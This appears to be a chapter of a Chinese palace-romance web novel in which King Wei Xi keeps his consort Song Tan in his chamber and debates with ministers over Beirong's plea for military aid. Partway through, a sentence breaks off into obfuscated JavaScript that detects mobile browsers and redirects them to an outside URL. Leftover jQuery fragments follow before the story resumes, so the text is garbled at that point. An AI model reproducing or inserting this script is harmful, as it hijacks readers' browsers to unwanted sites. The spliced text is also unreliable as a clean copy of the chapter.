默认冷灰
24号文字
方正启体

7. 机密

作者:衣依依本书字数:K更新时间:
    襄太子遇私自出宫之事并未闹大,所以他是趁着清晨天还未亮时,便被护送出蔺国的。


    卫奚昨夜叫来宋昙替他研墨批改奏折,殿中火烛点了一夜,宋昙不见怨恨,倒真的勤勤恳恳磨起墨来。


    她气性有所收敛,知道与卫奚硬碰硬无异于以卵击石,但也无法恭维讨好他,便始终沉默不语。


    耳边只有下笔的沙沙声。


    没想到卫奚竟处理了半夜的公务。宋昙磨一会儿墨打着瞌睡就被他叫醒再磨,她小脸困顿,秀眉皱成两条垂柳缠绕的弧度,殷红唇色撇了撇,终是撑不住支着额头睡去了。


    卫奚随手拿起披在椅背上的狐皮裘搭在她身上,独留她一人在殿中央沉沉入眠。窗外天色濛濛,吹熄烛火,他自己则缓步进了内室。


    半晌后,宋昙伏在坚硬的案桌上醒来,她昏昏沉沉,只觉浑身腰酸背痛,恍恍惚惚不知置身何地。


    但见四周幽暗,万籁俱寂,她下意识捂着脑袋尖叫了声,没过多久,从内室传出一道低沉的嗓音:“过来。”


    才回神发现,原来自己是在岐玉殿。


    宋昙不想过去,可实在害怕黑暗的环境,她心沉了沉,还是起身一路摸索着走了过去。


    内室门槛低矮,她不小心绊了一下,摔倒在榻边。


    卫奚轻啧不耐,点了盏身旁的蜜烛,懒倦支起身子,盯着底下那团蠕动的身影。


    屋内顿时映照一片,宋昙没那么害怕了,她看了看面前压迫感十足的卫奚,干脆就缩回床榻旁的角落里,窸窸窣窣的声音惹人心烦。


    “在那儿待着干什么,上来。”


    卫奚朝她拍了拍旁边的位子。


    宋昙摇摇头,抗拒意味显而易见:“不了,王上千金贵体,妾不好打扰王上休息,妾在这里待着便好。”


    卫奚嗤笑了下:“难道你不清楚身为王妃要做什么吗。”


    她听罢蓦然如临大敌,难不成…


    “孤的命令,你没有说不的权利。”


    幽幽烛火落在卫奚眉宇半寸,柔和了他眼神中的冷冽,坚硬下颌深邃如刀裁,他垂眸望向宋昙,眼睑下投出一小片扇形阴影,俊容竟显出几分清隽。


    声音冷漠,宋昙咬了咬唇,缓慢地挪过去,爬到他旁边空出来的位置上。


    被褥一盖,说不清是沉水香还是龙涎香的味道在鼻尖充斥开来,好闻,极有包裹性,是他身上的味道,宋昙屏了屏呼吸,还是不适应。


    暖光摇曳,卫奚长睫微抬,察觉到了身旁人的战栗,不自禁勾起唇。


    光烛被灯罩覆上,眼前又恢复了昏暗,宋昙把被褥提在鼻尖处,一双大眼睛盯着穹顶,卫奚距她近在咫尺,两人却好似泾渭分明般,一床被子,硬生生从中隔出那么多空间。


    “睡吧,别吵孤。”


    卫奚嗓音淡淡,夜风扑在窗棂上,他在这儿,宋昙竟莫名有种安心感。


    这一夜很快过去,周遭清寂无声,宋昙途中醒来一次,刚翻了个身又想起自己是在卫奚的榻上,便老老实实的又翻了回来。


    她心情低落,望着外面大亮的天光,想必太子哥哥已经启程了。


    芩宫那一面,已经得到了她想要的回答。


    思及此,才堪堪稳了稳心神。日子总算不那么难过。


    辰时一刻,钟擎进来汇报公务,没在主案上见到王上的人,看见他从内室里出来,还惊讶今日怎么起这么晚。以王上的勤勉,巴不得连觉都不睡日以继夜处理公务。


    宋昙被外面的人声吵醒了,她肚里空空,起来想回云阳宫,正巧听见卫奚在外殿和那几个熟悉的侍卫商讨要事。


    “半月前,北戎战事告急,朝我们发起求援,请求出兵相助,愿意割让十三座城池及十五匹良驹用来联盟。”陈姜姜道。


    钟擎正了正色:“北戎此次倒也是下血本了,十三座城池,几乎是他的半壁江山,这是打算退出中原,回去放牧了?”


    卫奚不紧不慢道:“谈国逼得紧,战事僵持不下,恐怕北戎也是狗急跳墙了。不过这么舍得,倒不像是北戎的作风,那十三座城池迟早是孤的囊中之物,不着急取。”


    他眼神一利:“但——北戎的汗血宝马可是千金也换不来的,若能拿来培育,蔺国骑兵的武力将会大大提升,一人可抵百人也不为过。”


    宋昙脚步顿住,借着门扉半掩,偷偷往外瞟了几眼。


    她不知道该不该出去,他们好像是在讨论什么军事机密,自己能听吗?


    内室的门轻轻响了一下。


    钟擎猛然警惕地看过来:“谁?王上,内室有人。”


    宋昙斟酌几番,颇为尴尬地走了出来。她深吸一口气,理理衣襟,晨光浸透而来,照在她瓷白灵秀的脸蛋上。


    她穿了身月白色的中衣,肩头只披着件藕粉色外衫,长发随意垂在腰际,视线落在殿内的几个人身上,最后停留在卫奚晦暗难辨的脸孔里:“我…我不是有意要听的,我现在就回云阳宫…”


    钟擎一愣,他没看错吧,王妃居然从王上的内室里出来了,那他们…


    陈姜姜转而瞪了他一眼,仿佛是在说“明明王上与王妃感情很好”。


    众人垂下眼去,不敢再看。


    卫奚叫住她:“留下来用个早膳再回去。北戎的事,不算什么机密,想听就听。”


    北戎割十三城求援,这等军国大事,王妃听见本就属僭越了,更何况这个王妃还是襄国出身的外族人。


    卫奚招手示意她过来,宋昙进退两难,只觉得有几道视线若有似无地落在自己身上,她紧张不已,还是硬着头皮道:“妾在这里,诸位大人不便议事,还是算了吧…”


    “孤的命令又不听了?”他一眼望过来,语气不容置喙。


    宋昙不懂他为什么非得这么专横霸道,区区一件小事也要揪着不放,难道做什么都必须得顺他的意吗。


    她过去坐在一旁,低着头把存在感降到最低,坐立难安。


    卫奚吩咐人传膳,陈姜姜轻咳一声,回到了话题:“北戎的求援,王上打算怎么处置?”


    “说说你们的想法。”卫奚眸光微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382545|200204||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    烁,视线再没分给宋昙半分,凛然气度矜骄,来自上位者的从容不迫。


    钟擎抱拳道:“属下以为,北戎与我们素来井水不犯河水,此次遭谈国所逼,不得已来求援。十三座城池固然诱人,但若出兵相助,便要直接与谈国为敌。谈国与韩国交情匪浅,牵一发而动全身,况且谈国军士骁勇,向来是我蔺国的大患,若因北戎之事与之结仇,恐怕得不偿失。”


    俞浚却摇头道:“谈国与我们迟早有一战,与其等他们养精蓄锐来犯,不如借北戎之地,将战场摆在他人境内。况且,北戎若被谈国吞并,谈国实力大增,届时更难制衡。”


    “雲国不是想与魏国联盟吗?北戎的十三座城池加起来也抵不过一个裕州。”卫奚面色凝重,薄唇扯出一个锋锐的弧线,吐出来的话语更为冰冷,“既然韩国想要北上,孤何妨不成全了他们。”


    他眸中精光毕现:“让北戎与谈国先耗着,耗到两败俱伤,再送给韩国一个最合适出手的时机。届时,韩国占据了北方,雲国和魏国的联盟告吹,谈韩两国也要决裂了。”


    宋昙安静地坐在一旁,听着这些朝堂大事,只觉得掌心微微出汗。


    父王从来不让她接触这些国家大事,每次见太子哥哥表情严肃地下完朝会,她都会问是不是遇到了什么棘手的事,想着自己能不能也替他们解忧。


    可太子哥哥每一次都摸摸她的头,安慰说没什么,宋昙知道自己无用,可她也只是想分担罢了。


    钟擎恍然大悟:“属下明白了,北戎素来反复无常,今日割城求援,他日羽翼丰满,未必不会反咬一口。但若放任谈国吞并北戎,也是后患无穷的一件事。”


    陈姜姜道:“那十三座城池,恐怕也是北戎保不住才无奈割让的。当务之急是要查明白,北戎的那十三城如今驻守的人是谁,守城的是北戎的残兵,还是谈国的先锋。”


    卫奚点了点头,墨发一丝不乱,玉冠束得严整,衬得那张脸愈加棱角分明。他黑眸深冷,令人觉不出任何的情绪波动。


    玄色袍角压着金砖,不威自怒:“而孤,只要裕州。”


    商议完毕,众人告退,殿内又只剩下他们两人。


    早膳传了上来,很丰盛,就摆在宋昙面前的案几上。


    她盛了一碗粥,瞅了几眼卫奚,又给他也盛了碗。


    碗筷碰撞声悄悄,绿釉花瓶里插着枝茉莉,花瓣沾了露水,香气馥郁。


    “你让我听这些,不怕我出去告密吗?”宋昙冷不丁问道,却是没抬头看他。


    卫奚倒是低眼凝视了她好一会儿,随即挑起唇来:“只要你出的去,随你告。”


    “……”忘了她现在行动受限,整日里除了蔺王宫哪都不能去。宋昙收起心底那点异样的感觉,果然卫奚还是卫奚,难怪不防她,原来是胸有成竹。


    等着吧。她才不会这样一直受人摆布的


    宋昙气不过,用筷子戳了戳碗里的粥,卫奚看了眼,让她吃不下就放着,她更气了,直接一口气全吃光了。


    真是话不投机半句多。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)